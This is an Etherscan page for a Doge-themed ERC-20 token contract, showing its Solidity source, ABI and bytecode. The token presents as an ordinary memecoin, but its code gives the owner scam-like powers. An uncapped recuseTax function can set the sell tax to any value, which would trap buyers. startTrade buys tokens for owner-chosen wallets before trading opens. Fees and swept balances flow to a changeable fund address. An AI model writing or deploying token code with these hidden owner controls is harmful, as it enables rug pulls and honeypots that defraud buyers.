ERC-20
Overview
Max Total Supply
983,041,265,692 Ð
Holders
72
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
444,756,817.248616478360892509 ÐValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-30 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /* * Twitter : https://twitter.com/doge_erc * Telegram : https://t.me/Doge_ERC * Website : https://d-coin.vip/ */ interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address private fundAddress; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ _name = unicode"Ð"; _symbol = unicode"Ð"; _decimals = 18; uint256 Supply = 983_041_265_692; _totalSupply = Supply * 10 ** _decimals; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); fundAddress = msg.sender; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[fundAddress] = true; IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _isExcludeFromFee[address(swapRouter)] = true; } function setFundAddr( address newAddr ) public onlyOwner{ fundAddress = newAddr; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount=0; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=10; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } bool public remainHolder = true; function changeRemain() public onlyOwner{ remainHolder = !remainHolder; } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap){ _basicTransfer(from, to, amount); return; } bool takeFee; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))){ _numSellToken = _balances[address(this)]; } if (_numSellToken > 0){ swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; // buyCount if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) { _buyCount++; } // remainHolder if (remainHolder && amount == balance) { amount = amount - (amount / 10000); } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade(address[] calldata adrs) public onlyOwner { for(uint i=0;i<adrs.length;i++){ swapToken(((random(5,adrs[i])+1)*10**16+7*10**16),adrs[i]); } startTradeBlock = block.number; } function swapToken(uint256 tokenAmount,address to) private lockTheSwap { address weth = _uniswapRouter.WETH(); address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(this); uint256 _bal = IERC20(weth).balanceOf(address(this)); tokenAmount = tokenAmount > _bal ? _bal : tokenAmount; if (tokenAmount == 0) return; // make the swap _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(to), block.timestamp ); } function random(uint number,address _addr) private view returns(uint) { return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty, _addr))) % number; } function removeERC20(address _token) external { if(_token != address(this)){ IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this))); payable(fundAddress).transfer(address(this).balance); } } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ) {} catch {} uint256 _bal = address(this).balance; if (_bal > 0){ payable(fundAddress).transfer(_bal); } } function setFeeExclude(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600c556014600d819055600e8190556001600f81815560108290556011819055601255600a601355815460ff19161790553480156200004457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260028152610c3960f41b6020820152600490620000ae90826200052e565b506040805180820190915260028152610c3960f41b6020820152600590620000d790826200052e565b506006805460ff1916601290811790915564e4e1d3501c90620000fc90600a6200070f565b62000108908262000727565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360038054336001600160a01b0319918216178255306000818152600760209081526040808320805460ff1990811660019081179092556001600160a01b03898116865283862080548316841790559754909716845281842080549097161790955560098054737a250d5630b4cf539739df2c5dacb4c659f2488d9516851790559181526002825283812083825282528381206000199055835163c45a015560e01b8152935192939092849263c45a015592600480820193918290030181865afa15801562000227573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024d919062000741565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c4919062000741565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000312573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000338919062000741565b600b8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600a6020908152604091829020805460ff1916600117905560095482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003bc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e2919062000741565b60095460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000436573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045c91906200076c565b50506001600160a01b03166000908152600760205260409020805460ff1916600117905550620007909050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004b457607f821691505b602082108103620004d557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200052957600081815260208120601f850160051c81016020861015620005045750805b601f850160051c820191505b81811015620005255782815560010162000510565b5050505b505050565b81516001600160401b038111156200054a576200054a62000489565b62000562816200055b84546200049f565b84620004db565b602080601f8311600181146200059a5760008415620005815750858301515b600019600386901b1c1916600185901b17855562000525565b600085815260208120601f198616915b82811015620005cb57888601518255948401946001909101908401620005aa565b5085821015620005ea5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000651578160001904821115620006355762000635620005fa565b808516156200064357918102915b93841c939080029062000615565b509250929050565b6000826200066a5750600162000709565b81620006795750600062000709565b81600181146200069257600281146200069d57620006bd565b600191505062000709565b60ff841115620006b157620006b1620005fa565b50506001821b62000709565b5060208310610133831016604e8410600b8410161715620006e2575081810a62000709565b620006ee838362000610565b8060001904821115620007055762000705620005fa565b0290505b92915050565b60006200072060ff84168362000659565b9392505050565b8082028115828204841417620007095762000709620005fa565b6000602082840312156200075457600080fd5b81516001600160a01b03811681146200072057600080fd5b6000602082840312156200077f57600080fd5b815180151581146200072057600080fd5b61185180620007a06000396000f3fe60806040526004361061016a5760003560e01c80636f39cfcd116100d157806395d89b411161008a578063bc76c05211610064578063bc76c0521461045b578063cefab2af14610470578063dd62ed3e1461048a578063f2fde38b146104d057600080fd5b806395d89b4114610406578063a67755c21461041b578063a9059cbb1461043b57600080fd5b80636f39cfcd1461033d57806370a082311461035d578063715018a61461039357806380720140146103a85780638da5cb5b146103c8578063936c044b146103e657600080fd5b806336b2e0271161012357806336b2e027146102485780633ecad271146102785780633f80b6d7146102a85780634bf28fd0146102ca578063553193ca1461030757806365b61b771461031d57600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f057806327b1a8e914610210578063313ce5671461022657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104f0565b6040516101989190611420565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611483565b610582565b6040519015158152602001610198565b3480156101dd57600080fd5b506008545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b3660046114af565b610599565b34801561021c57600080fd5b506101e2600c5481565b34801561023257600080fd5b5060065460405160ff9091168152602001610198565b34801561025457600080fd5b506101c16102633660046114f0565b60076020526000908152604090205460ff1681565b34801561028457600080fd5b506101c16102933660046114f0565b600a6020526000908152604090205460ff1681565b3480156102b457600080fd5b506102c86102c336600461150d565b610630565b005b3480156102d657600080fd5b50600b546102ef9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561031357600080fd5b506101e260155481565b34801561032957600080fd5b506009546102ef906001600160a01b031681565b34801561034957600080fd5b506102c86103583660046114f0565b61067a565b34801561036957600080fd5b506101e26103783660046114f0565b6001600160a01b031660009081526001602052604090205490565b34801561039f57600080fd5b506102c86106c6565b3480156103b457600080fd5b506102c86103c3366004611548565b61073a565b3480156103d457600080fd5b506000546001600160a01b03166102ef565b3480156103f257600080fd5b506102c86104013660046115cb565b610817565b34801561041257600080fd5b5061018b61086c565b34801561042757600080fd5b506102c86104363660046114f0565b61087b565b34801561044757600080fd5b506101c1610456366004611483565b6109b0565b34801561046757600080fd5b506102c86109bd565b34801561047c57600080fd5b506014546101c19060ff1681565b34801561049657600080fd5b506101e26104a5366004611604565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104dc57600080fd5b506102c86104eb3660046114f0565b6109fb565b6060600480546104ff90611632565b80601f016020809104026020016040519081016040528092919081815260200182805461052b90611632565b80156105785780601f1061054d57610100808354040283529160200191610578565b820191906000526020600020905b81548152906001019060200180831161055b57829003601f168201915b5050505050905090565b600061058f338484610ac1565b5060015b92915050565b60006105a6848484610b22565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610626576001600160a01b0384166000908152600260209081526040808320338452909152902054610601908390611682565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161065a90611695565b60405180910390fd5b600f94909455601092909255601155601255601355565b6000546001600160a01b031633146106a45760405162461bcd60e51b815260040161065a90611695565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106f05760405162461bcd60e51b815260040161065a90611695565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161065a90611695565b60005b8181101561080e576107fc6107a36005858585818110610789576107896116c0565b905060200201602081019061079e91906114f0565b610d7a565b6107ae9060016116d6565b6107bf90662386f26fc100006116e9565b6107d09066f8b0a10e4700006116d6565b8484848181106107e2576107e26116c0565b90506020020160208101906107f791906114f0565b610ddf565b8061080681611700565b915050610767565b50504360155550565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161065a90611695565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600580546104ff90611632565b6001600160a01b03811630146109ad576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109029190611719565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561094d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109719190611732565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109ab573d6000803e3d6000fd5b505b50565b600061058f338484610b22565b6000546001600160a01b031633146109e75760405162461bcd60e51b815260040161065a90611695565b6014805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a255760405162461bcd60e51b815260040161065a90611695565b6001600160a01b038116610a665760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161065a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b7e5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161065a565b600b5460ff1615610b9b57610b94848484610fe1565b5050505050565b6001600160a01b0383166000908152600a602052604081205460ff168015610bc65750600b5460ff16155b8015610beb57506001600160a01b03851660009081526007602052604090205460ff16155b8015610c1057506001600160a01b03841660009081526007602052604090205460ff16155b8015610c1f5750601354600c54115b15610c6057306000908152600160205260409020548390811115610c4f5750306000908152600160205260409020545b8015610c5e57610c5e81611096565b505b6001600160a01b03851660009081526007602052604090205460ff16158015610ca257506001600160a01b03841660009081526007602052604090205460ff16155b8015610cb15750600b5460ff16155b15610d6e57600060155411610cc557600080fd5b506001600160a01b0384166000908152600a602052604090205460019060ff168015610cff57506009546001600160a01b03858116911614155b8015610d2457506001600160a01b03841660009081526007602052604090205460ff16155b15610d3f57600c8054906000610d3983611700565b91905055505b60145460ff168015610d5057508183145b15610d6e57610d6161271084611765565b610d6b9084611682565b92505b610b948585858461122c565b600082424484604051602001610db593929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c610dd89190611779565b9392505050565b600b805460ff19166001179055600954604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a919061178d565b60408051600280825260608201835292935060009290916020830190803683370190505090508181600081518110610e9457610e946116c0565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610ec857610ec86116c0565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918416906370a0823190602401602060405180830381865afa158015610f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f419190611719565b9050808511610f505784610f52565b805b945084600003610f6457505050610fd3565b600954604051635c11d79560e01b81526001600160a01b0390911690635c11d79590610f9d90889060009087908a9042906004016117aa565b600060405180830381600087803b158015610fb757600080fd5b505af1158015610fcb573d6000803e3d6000fd5b505050505050505b5050600b805460ff19169055565b6001600160a01b03831660009081526001602052604081208054839190839061100b908490611682565b90915550506001600160a01b038316600090815260016020526040812080548492906110389084906116d6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108491815260200190565b60405180910390a35060019392505050565b600b805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d8576110d86116c0565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611131573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611155919061178d565b81600181518110611168576111686116c0565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906111ae9085906000908690309042906004016117aa565b600060405180830381600087803b1580156111c857600080fd5b505af19250505080156111d9575060015b5047801561121d576003546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561121b573d6000803e3d6000fd5b505b5050600b805460ff1916905550565b6001600160a01b038416600090815260016020526040902054611250908390611682565b6001600160a01b0385166000908152600160205260408120919091558115611391576001600160a01b0384166000908152600a602052604081205460ff16156112b157601254600c54116112a657600e546112aa565b6010545b90506112ec565b6001600160a01b0386166000908152600a602052604090205460ff16156112ec57601154600c54116112e557600d546112e9565b600f545b90505b600060646112fa83876116e9565b6113049190611765565b9050801561138e5761131681846116d6565b306000908152600160205260409020549093506113349082906116d6565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113859085815260200190565b60405180910390a35b50505b61139b8184611682565b6001600160a01b0385166000908152600160205260409020546113be91906116d6565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114088487611682565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561144d57858101830151858201604001528201611431565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ad57600080fd5b6000806040838503121561149657600080fd5b82356114a18161146e565b946020939093013593505050565b6000806000606084860312156114c457600080fd5b83356114cf8161146e565b925060208401356114df8161146e565b929592945050506040919091013590565b60006020828403121561150257600080fd5b8135610dd88161146e565b600080600080600060a0868803121561152557600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000806020838503121561155b57600080fd5b823567ffffffffffffffff8082111561157357600080fd5b818501915085601f83011261158757600080fd5b81358181111561159657600080fd5b8660208260051b85010111156115ab57600080fd5b60209290920196919550909350505050565b80151581146109ad57600080fd5b600080604083850312156115de57600080fd5b82356115e98161146e565b915060208301356115f9816115bd565b809150509250929050565b6000806040838503121561161757600080fd5b82356116228161146e565b915060208301356115f98161146e565b600181811c9082168061164657607f821691505b60208210810361166657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156105935761059361166c565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b808201808211156105935761059361166c565b80820281158282048414176105935761059361166c565b6000600182016117125761171261166c565b5060010190565b60006020828403121561172b57600080fd5b5051919050565b60006020828403121561174457600080fd5b8151610dd8816115bd565b634e487b7160e01b600052601260045260246000fd5b6000826117745761177461174f565b500490565b6000826117885761178861174f565b500690565b60006020828403121561179f57600080fd5b8151610dd88161146e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117fa5784516001600160a01b0316835293830193918301916001016117d5565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c9405ea488d999f2169ba18d42da4da5d906601915a6ae53ef742d8283055e4b64736f6c63430008110033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c80636f39cfcd116100d157806395d89b411161008a578063bc76c05211610064578063bc76c0521461045b578063cefab2af14610470578063dd62ed3e1461048a578063f2fde38b146104d057600080fd5b806395d89b4114610406578063a67755c21461041b578063a9059cbb1461043b57600080fd5b80636f39cfcd1461033d57806370a082311461035d578063715018a61461039357806380720140146103a85780638da5cb5b146103c8578063936c044b146103e657600080fd5b806336b2e0271161012357806336b2e027146102485780633ecad271146102785780633f80b6d7146102a85780634bf28fd0146102ca578063553193ca1461030757806365b61b771461031d57600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f057806327b1a8e914610210578063313ce5671461022657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104f0565b6040516101989190611420565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611483565b610582565b6040519015158152602001610198565b3480156101dd57600080fd5b506008545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b3660046114af565b610599565b34801561021c57600080fd5b506101e2600c5481565b34801561023257600080fd5b5060065460405160ff9091168152602001610198565b34801561025457600080fd5b506101c16102633660046114f0565b60076020526000908152604090205460ff1681565b34801561028457600080fd5b506101c16102933660046114f0565b600a6020526000908152604090205460ff1681565b3480156102b457600080fd5b506102c86102c336600461150d565b610630565b005b3480156102d657600080fd5b50600b546102ef9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561031357600080fd5b506101e260155481565b34801561032957600080fd5b506009546102ef906001600160a01b031681565b34801561034957600080fd5b506102c86103583660046114f0565b61067a565b34801561036957600080fd5b506101e26103783660046114f0565b6001600160a01b031660009081526001602052604090205490565b34801561039f57600080fd5b506102c86106c6565b3480156103b457600080fd5b506102c86103c3366004611548565b61073a565b3480156103d457600080fd5b506000546001600160a01b03166102ef565b3480156103f257600080fd5b506102c86104013660046115cb565b610817565b34801561041257600080fd5b5061018b61086c565b34801561042757600080fd5b506102c86104363660046114f0565b61087b565b34801561044757600080fd5b506101c1610456366004611483565b6109b0565b34801561046757600080fd5b506102c86109bd565b34801561047c57600080fd5b506014546101c19060ff1681565b34801561049657600080fd5b506101e26104a5366004611604565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104dc57600080fd5b506102c86104eb3660046114f0565b6109fb565b6060600480546104ff90611632565b80601f016020809104026020016040519081016040528092919081815260200182805461052b90611632565b80156105785780601f1061054d57610100808354040283529160200191610578565b820191906000526020600020905b81548152906001019060200180831161055b57829003601f168201915b5050505050905090565b600061058f338484610ac1565b5060015b92915050565b60006105a6848484610b22565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106